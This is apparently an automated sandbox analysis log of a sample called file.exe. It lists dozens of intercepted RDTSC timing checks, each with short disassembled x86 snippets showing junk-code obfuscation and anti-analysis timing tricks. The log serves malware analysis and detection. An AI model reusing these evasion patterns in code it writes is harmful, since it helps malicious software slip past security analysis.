Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18308B1 second address: 18308B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18308B6 second address: 18308BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18308BC second address: 18308C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18308C0 second address: 18308D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1830D07 second address: 1830D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1830EAA second address: 1830EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183CFB8 second address: 183CFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3650BE6D84h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183CFD1 second address: 183CFD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183CFD7 second address: 183CFDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183D6F1 second address: 183D6F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183D81B second address: 183D823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183D823 second address: 183D840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3650C99DA8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183D840 second address: 183D845 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183D845 second address: 183D85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3650C99D96h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F3650C99D96h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183D85A second address: 183D85E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183DCCB second address: 183DCE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F3650C99DA2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183DCE4 second address: 183DD0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3650BE6D76h 0x0000000a jp 00007F3650BE6D82h 0x00000010 jne 00007F3650BE6D76h 0x00000016 jnc 00007F3650BE6D76h 0x0000001c push eax 0x0000001d push edx 0x0000001e jne 00007F3650BE6D76h 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183DD0A second address: 183DD0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183DD0E second address: 183DD14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183E440 second address: 183E446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183E446 second address: 183E44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183E44B second address: 183E451 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183E451 second address: 183E45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3650BE6D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183E45B second address: 183E46B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnl 00007F3650C99D96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183E46B second address: 183E46F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183E46F second address: 183E497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3650C99D96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop esi 0x00000013 push ebx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop ebx 0x00000017 jng 00007F3650C99D9Eh 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183CA15 second address: 183CA24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F3650BE6DA5h 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183CA24 second address: 183CA2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 183CA2A second address: 183CA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 184697F second address: 1846983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1846AFE second address: 1846B1A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3650BE6D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F3650BE6D76h 0x00000012 jmp 00007F3650BE6D7Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 184D2F2 second address: 184D2F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 177F26A second address: 177F26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 177F26E second address: 177F28B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F3650C99DA4h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1854191 second address: 185419B instructions: 0x00000000 rdtsc 0x00000002 js 00007F3650BE6D82h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 185745C second address: 1857466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1857466 second address: 185746A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 185746A second address: 1857474 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3650C99D96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18694BB second address: 18694DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D87h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18694DC second address: 18694E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 186FA88 second address: 186FA8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 186FA8D second address: 186FAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3650C99D96h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d jmp 00007F3650C99D9Ch 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 186FC49 second address: 186FC4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 186FD8C second address: 186FDAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3650C99DA1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F3650C99DA2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 186FDAB second address: 186FDB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 186FF3D second address: 186FF41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 186FF41 second address: 186FF4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 186FF4E second address: 186FF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 187033D second address: 1870345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1870345 second address: 1870349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18749A2 second address: 18749A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18749A6 second address: 18749AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1874AFF second address: 1874B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1874B09 second address: 1874B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18AF8A3 second address: 18AF8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3650BE6D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18B0FC1 second address: 18B0FE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F3650C99DA0h 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F3650C99D96h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18B0FE5 second address: 18B0FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 18B8AAB second address: 18B8AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 198FA0E second address: 198FA13 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 198FA13 second address: 198FA1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 198FB5B second address: 198FB99 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3650BE6D76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F3650BE6D89h 0x00000011 pop ecx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3650BE6D85h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 198FB99 second address: 198FB9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 198FB9D second address: 198FBB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3650BE6D7Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 198FBB4 second address: 198FBB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 198FE6A second address: 198FE9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3650BE6D76h 0x0000000a pop edx 0x0000000b jbe 00007F3650BE6D87h 0x00000011 jc 00007F3650BE6D7Ch 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 198FE9F second address: 198FECF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA9h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F3650C99DA1h 0x00000011 jmp 00007F3650C99D9Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 198FECF second address: 198FED4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1990062 second address: 1990068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1990068 second address: 199006C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1990770 second address: 1990774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1990774 second address: 199077C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 19908FE second address: 1990907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1990907 second address: 199091E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3650BE6D7Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 199091E second address: 1990922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1990922 second address: 199093F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3650BE6D84h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 199093F second address: 199095C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650C99DA7h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1992295 second address: 199229F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3650BE6D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1994D2E second address: 1994D33 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 199523B second address: 19952AF instructions: 0x00000000 rdtsc 0x00000002 js 00007F3650BE6D7Ch 0x00000008 jne 00007F3650BE6D76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edi 0x00000012 jl 00007F3650BE6D88h 0x00000018 jmp 00007F3650BE6D82h 0x0000001d pop edi 0x0000001e nop 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007F3650BE6D78h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 00000018h 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 push dword ptr [ebp+122D293Ah] 0x0000003f push edx 0x00000040 sub edx, dword ptr [ebp+122D1C3Ch] 0x00000046 pop edx 0x00000047 push E42BCF49h 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F3650BE6D83h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0028 second address: 79C002C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C002C second address: 79C0030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0030 second address: 79C0036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0036 second address: 79C003C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C003C second address: 79C0040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0040 second address: 79C0132 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3650BE6D7Bh 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 call 00007F3650BE6D84h 0x00000018 mov ecx, 6E2128A1h 0x0000001d pop eax 0x0000001e pushfd 0x0000001f jmp 00007F3650BE6D87h 0x00000024 jmp 00007F3650BE6D83h 0x00000029 popfd 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d pushad 0x0000002e mov ecx, 6576907Bh 0x00000033 pushfd 0x00000034 jmp 00007F3650BE6D80h 0x00000039 or ecx, 7E0B6DC8h 0x0000003f jmp 00007F3650BE6D7Bh 0x00000044 popfd 0x00000045 popad 0x00000046 mov eax, dword ptr fs:[00000030h] 0x0000004c pushad 0x0000004d mov di, si 0x00000050 popad 0x00000051 sub esp, 18h 0x00000054 pushad 0x00000055 mov ax, dx 0x00000058 call 00007F3650BE6D7Fh 0x0000005d mov ecx, 1A6F211Fh 0x00000062 pop eax 0x00000063 popad 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 pushfd 0x00000069 jmp 00007F3650BE6D7Dh 0x0000006e adc esi, 0F481046h 0x00000074 jmp 00007F3650BE6D81h 0x00000079 popfd 0x0000007a mov si, EAF7h 0x0000007e popad 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0132 second address: 79C016B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushfd 0x00000007 jmp 00007F3650C99DA4h 0x0000000c sbb cx, F818h 0x00000011 jmp 00007F3650C99D9Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esp], ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 movsx edx, si 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C016B second address: 79C0171 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0171 second address: 79C0242 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [eax+10h] 0x0000000b jmp 00007F3650C99D9Eh 0x00000010 xchg eax, esi 0x00000011 jmp 00007F3650C99DA0h 0x00000016 push eax 0x00000017 jmp 00007F3650C99D9Bh 0x0000001c xchg eax, esi 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F3650C99D9Bh 0x00000024 sbb ecx, 7BC3979Eh 0x0000002a jmp 00007F3650C99DA9h 0x0000002f popfd 0x00000030 popad 0x00000031 mov esi, dword ptr [74E806ECh] 0x00000037 pushad 0x00000038 push eax 0x00000039 mov ebx, 11F73CFEh 0x0000003e pop edi 0x0000003f pushfd 0x00000040 jmp 00007F3650C99DA4h 0x00000045 add eax, 0ACEC0C8h 0x0000004b jmp 00007F3650C99D9Bh 0x00000050 popfd 0x00000051 popad 0x00000052 test esi, esi 0x00000054 pushad 0x00000055 mov bh, al 0x00000057 jmp 00007F3650C99DA1h 0x0000005c popad 0x0000005d jne 00007F3650C9AD30h 0x00000063 jmp 00007F3650C99D9Eh 0x00000068 xchg eax, edi 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c mov ax, di 0x0000006f mov ax, dx 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0242 second address: 79C0257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650BE6D81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0257 second address: 79C0323 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b mov bh, B7h 0x0000000d pop esi 0x0000000e pushfd 0x0000000f jmp 00007F3650C99D9Bh 0x00000014 sbb ax, B27Eh 0x00000019 jmp 00007F3650C99DA9h 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, edi 0x00000021 jmp 00007F3650C99D9Eh 0x00000026 call dword ptr [74E50B60h] 0x0000002c mov eax, 750BE5E0h 0x00000031 ret 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F3650C99D9Eh 0x00000039 xor ax, 2CA8h 0x0000003e jmp 00007F3650C99D9Bh 0x00000043 popfd 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007F3650C99DA6h 0x0000004b xor ah, 00000008h 0x0000004e jmp 00007F3650C99D9Bh 0x00000053 popfd 0x00000054 mov ecx, 13D7717Fh 0x00000059 popad 0x0000005a popad 0x0000005b push 00000044h 0x0000005d jmp 00007F3650C99DA2h 0x00000062 pop edi 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F3650C99DA7h 0x0000006a rdtsc
